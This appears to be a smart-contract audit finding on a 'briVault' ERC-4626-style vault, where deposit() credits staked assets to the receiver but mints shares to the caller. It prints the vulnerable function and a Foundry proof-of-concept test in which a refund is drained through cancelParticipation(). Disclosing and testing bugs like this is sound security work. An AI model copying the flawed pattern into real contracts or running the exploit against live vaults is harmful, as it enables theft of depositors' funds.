In ERC-4626-style vaults, deposit(uint256 assets, address receiver) should transfer assets from the caller to the vault and mint the resulting vault shares to receiver. After the call, receiver becomes the owner of those shares and is entitled to all future rewards and withdrawals.
In the current implementation, however, the vault records the deposited (post-fee) amount under stakedAsset[receiver], but mints the vault shares to msg.sender instead.
This leads to a logic mismatch between share ownership and staking records. A malicious user can exploit this by depositing on behalf of another address while keeping the minted shares. The receiver, who never deposited, is then eligible to call cancelParticipation() and receive a refund — effectively stealing funds from the depositor.
function deposit(uint256 assets, address receiver) public override returns (uint256) {
require(receiver != address(0));
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
uint256 fee = _getParticipationFee(assets);
if (minimumAmount + fee > assets) {
revert lowFeeAndAmount();
}
uint256 stakeAsset = assets - fee;
stakedAsset[receiver] = stakeAsset;
uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
_mint(msg.sender, participantShares);
emit deposited (receiver, stakeAsset);
return participantShares;
}
Add this function to test/briVault.t.sol (or run the supplied test in your test suite):
function test_DepositLogicMismatch() public {
uint256 user1Before = mockToken.balanceOf(user1);
uint256 user2Before = mockToken.balanceOf(user2);
uint256 vaultBefore = mockToken.balanceOf(address(briVault));
uint256 feeAddrBefore = mockToken.balanceOf(participationFeeAddress);
console.log("=== BEFORE DEPOSIT ===");
console.log("user1Before:", user1Before);
console.log("user2Before:", user2Before);
console.log("vaultBefore:", vaultBefore);
console.log("feeAddrBefore:", feeAddrBefore);
console.log("");
vm.startPrank(user1);
mockToken.approve(address(briVault), 10 ether);
briVault.deposit(10 ether, user2);
vm.stopPrank();
uint256 fee = (10 ether * participationFeeBsp) / 10000;
uint256 expectedStake = 10 ether - fee;
console.log("=== AFTER DEPOSIT ===");
console.log("fee charged:", fee);
console.log("expected staked asset:", expectedStake);
console.log("stakedAsset[user2]:", briVault.stakedAsset(user2));
console.log("user1 shares:", briVault.balanceOf(user1));
console.log("user2 shares:", briVault.balanceOf(user2));
console.log("");
assertEq(briVault.stakedAsset(user2), expectedStake);
vm.startPrank(user2);
briVault.cancelParticipation();
vm.stopPrank();
uint256 user1After = mockToken.balanceOf(user1);
uint256 user2After = mockToken.balanceOf(user2);
uint256 vaultAfter = mockToken.balanceOf(address(briVault));
uint256 feeAddrAfter = mockToken.balanceOf(participationFeeAddress);
console.log("=== AFTER CANCEL ===");
console.log("user1After:", user1After);
console.log("user2After:", user2After);
console.log("vaultAfter:", vaultAfter);
console.log("feeAddrAfter:", feeAddrAfter);
console.log("user1 shares still:", briVault.balanceOf(user1));
console.log("user2 shares still:", briVault.balanceOf(user2));
console.log("user1 net loss:", user1Before - user1After);
console.log("user2 net gain:", user2After - user2Before);
console.log("");
assertEq(user2After, user2Before + expectedStake, "user2 should receive refund");
assertEq(user1After, user1Before - 10 ether, "user1 should have paid the deposit");
assertEq(feeAddrAfter, feeAddrBefore + fee, "fee should be collected");
assertEq(vaultAfter, vaultBefore, "vault should be back to its initial balance");
assertGt(briVault.balanceOf(user1), 0, "user1 should still own shares");
assertEq(briVault.balanceOf(user2), 0, "user2 should not own shares");
}